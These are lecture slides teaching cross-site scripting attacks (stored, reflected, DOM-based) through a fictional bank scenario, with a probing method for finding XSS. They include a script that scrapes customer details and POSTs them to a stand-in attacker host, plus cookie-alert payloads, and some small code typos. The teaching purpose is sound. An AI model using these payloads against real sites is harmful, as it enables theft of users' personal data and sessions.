Cross-Site

Scripting
(XSS): Offense

Lecture 8
 1. What is XSS?
2. XSS attack types
Topics Covered 3. Stored XSS
4. Reflected XSS
5. DOM-based XSS

2
What is XSS?
• Cross-Site Scripting (XSS) vulnerabilities are some of the
most common vulnerabilities throughout the internet.
• It has appeared as a direct response to the increasing
amount of user interaction in today’s web applications.
• An XSS attack functions by taking advantage of the fact that
web applications execute scripts on users’ browsers.
• Any type of dynamically created script that is executed puts a
web application at risk if the script being executed can be
contaminated or modified in any way—in particular by an end
user.

3
What are XSS attack
types?
• Three common types are:
- Stored (the code is stored on a database prior to execution)
- Reflected (the code is not stored in a database, but
reflected by a server)
- DOM-based (code is both stored and executed in the
browser)
• These three types of XSS attacks have been designated by
committees like the Open Web Application Security Project
(OWASP) as the most common XSS attack vectors on the
web (it has the 3rd position on Top 10 in 2021 edition)
4
What can XSS attacks do?
• Run a script in the browser that was not written by the web
application owner.
• Run behind the scenes, without any visibility or required user input
to start execution.
• Obtain any type of data present in the current web application.
• Freely send and receive data from a malicious web server.
• Occur as a result of improperly sanitized user input being embedded
in the User Interface (UI).
• Be used to steal session tokens, leading to account takeover.
• Be used to draw DOM objects over the current UI, leading to perfect
phishing attacks.
5
Stored XSS
• Stored XSS attacks are probably
the most common type of XSS attack.
• Stored XSS attacks are interesting
because they are the easiest type of
XSS to detect, but often one of the most
dangerous because many times they
can affect the most users.
• Malicious script uploaded by a user that
is stored in a database and then later
requested and viewed by other users,
resulting in script execution on their
machines.
6
Stored XSS: possible
scenarios

• Assume you have mega-bank.com website

• This website offers a customer support portal
support.megabank.com to send feedback and receive back
from a customer support representative.
• Imagine you are unhappy with the level of service provided
by this website.

7
Stored XSS: possible
scenarios
• You write the following comment:
“I am not happy with the service provided by your bank.
I have waited 12 hours for my deposit to show up in the
web application. <strong>Please improve your web
application. </strong> Other banks will show deposits
instantly.
—Unhappy Customer, support.mega-bank.com”
• You add a <strong> tag to bold some words as the user
interface of the website does not support bolding.

8
Stored XSS: possible
scenarios
• This is happening quite often in web application and should never
be left without addressing. Here we have a very simple
architectural mistake:
- user submits comment via web form ->
- user comment is stored in database ->
- comment is requested via HTTP request by one or more users ->
- comment is injected into the page ->
- injected comment is interpreted as DOM rather than text

9
Stored XSS attack (less
malicious case)
• Frequently this is done by a script like the following:
const comment = 'my <strong>comment</strong>';
const div = document.createElement('div');
div.innerHTML = comment;

const wrapper = document.querySelector('#commentArea');

wrapper.appendChild(div);

• Because the text is appended literally to the DOM, it is interpreted as DOM

markup rather than text.
10
Stored XSS attack (more
malicious case)
• Script tags are the most popular way to take advantage of XSS
vulnerabilities:
<script>
const customers = document.querySelectorAll('.openCases');
const customerData = [];
for(customer of customers){
customerData.push({
firstName: customer.querySelector('.firstName').innerText,
lastName: customer.querySelector('.lastName').innerText,
email: customer.querySelector('.email').innerText,
phone: customer.querySelector('.phone').innerTex});
}
11
Stored XSS attack
(more malicious case)

const http = new XMLHttpRequest();

http.open('POST', 'https://steal-your-data.com/data', true);
http.setRequestHeader('Content-type', 'application/json');
http.send(JSON.stringify(customerData);
</script>

• The scariest thing about this is that because this code is inside of a
script tag, it would not appear to the customer support rep.

12
Stored XSS: possible
scenarios

• If you operated or maintained a video-hosting site and

“featured” a video on the front page, a stored XSS in the title of
this video could potentially affect every visitor for the duration of
the video.

13
Reflected XSS

• A reflected XSS affects the code of the

client in the browser directly without
relying on a server to relay a message to
be rendered with a script to be executed.
• A user performs an action against the
local web application resulting in script
execution of an unstored (linked) on their
own device.

14
Reflected XSS: A possible
scenario
• Once again a customer of mega-bank.com website.
• This time, we are trying to look up support documentation for
how to open a new savings account.
• Fortunately, mega-bank.com’s support portal,
support.mega-bank.com, has a search bar we can use to look
up common support requests and their solutions.
• The first thing we try is a search for “open savings account.”
• This search redirects us to a new URL at
support.mega-bank.com/search?query=open+savings+account.

15
Reflected XSS: A possible
scenario
• On this search results page we see the heading: 3 results for
“open savings account.”
• Next we try adjusting the URL to support.mega
bank.com/search?query=open+checking+account.
• The heading on the results page now becomes: 4 results for
“open checking account.”
• From this we can gather that there is a correlation between the
URL query params and the heading displayed on the results
page.

16
Reflected XSS: A possible
scenario
• Now, let’s try to add a bold tag to the search query:
support.mega.bank.com/search?query=open+<strong>checking
</strong> +account.
• The new URL we generated does indeed bold the heading
present within the results page.
• Using this newfound knowledge, let’s include a script tag in the
query params: support.mega
bank.com/search?query=open+<script>alert(test);</script>chec
king+account.

17
Reflected XSS: A possible
scenario
• Opening up this URL loads the search results, but initially pops
up an alert modal with the word “test” inside.
• This is a Reflected XSS vulnerability in which the server will
read the payload and send it back to the client, instead of
storing it.
• In this example, we could craft a malicious link payload and
send it to the user we wish to attack directly.
• This could be done via email, web-based advertisements, or
many other ways.

18
DOM-Based XSS
• DOM-based XSS attacks never
require any interaction with a
server.
• It makes use of browser DOM
sinks and sources for execution.
• Generally, the source is a DOM
object capable of storing text,
and the sink is a DOM API
capable of executing a script
stored as text.

19
DOM-Based XSS: possible
scenario
• Let’s examine a mega-bank.com DOM XSS vulnerability.
• MegaBank offers an investment portal for its 401(k) management
service, located at investors.mega-bank.com.
• The lefthand navigation menu offers searching and filtering of these
funds.
• A search for “oil” would modify the page URL to
investors.mega-bank.com/listing?search=oil.
• A filter for “usa” to only view US-based funds would generate a
URL of investors.mega-bank.com/listing#usa

20
DOM-Based XSS: possible
scenario
• It’s important to note that query params like search can be a source
for DOM XSS, and they can be found in all major browsers via
window.location.search.
• Likewise, the hash can also be found in the DOM via
window.location.hash.
• A sink is done via document.write and through other sinks.

21
DOM-Based XSS: possible
scenario
• Let’s imagine that MegaBank had the following code in the same page:
const hash = document.location.hash;
const funds = [];
const nMatches = findNumberOfMatches(funds, hash);
document.write(nMatches + ' matches found for ' + hash);
• Imagine we generated a link that looked like this:
investors.mega-bank.com/listing#<script>alert(document.cookie);</script>
• From this you can see that DOM-based XSS requires both source and
sink.
• Furthermore, it would not have caused any issues if a legitimate string
had been passed.
22
How to exam vulnerability?
• Here, we describe the steps to examine whether a web site is XSS
vulnerable or not.

Step 1: Initially, explore the input field available in a web site. For
instance, search box, comment box, or any form to be filled by the user.
Step 2: Now, enter any string into the identified field and submit it. Search
for this string in the source code of the web page.
Step 3: Check if entered string is displayed on the web page, as the result
of step 2.
If it is displayed then the web site may be vulnerable to XSS attack;
otherwise it is not. Try for some different inputs in steps 2 and 3.

23
How to exam vulnerability?
• Step 4: Now enter any malicious script say, <Script>
alert(“XSS”);</Script> and submit it.
• Step 5: If the web page does not employ any sanitization technique,
then malicious script will be executed in the browser. After its
successful execution, a dialog box will pop up, reflecting the XSS
attack in the message body of box.

This indicates that the web site is exposed to XSS attack. By extending
the code, the attacker can steal the session token and cookie
information of the user and gain access to the user’s account to launch
different types of attacks.

24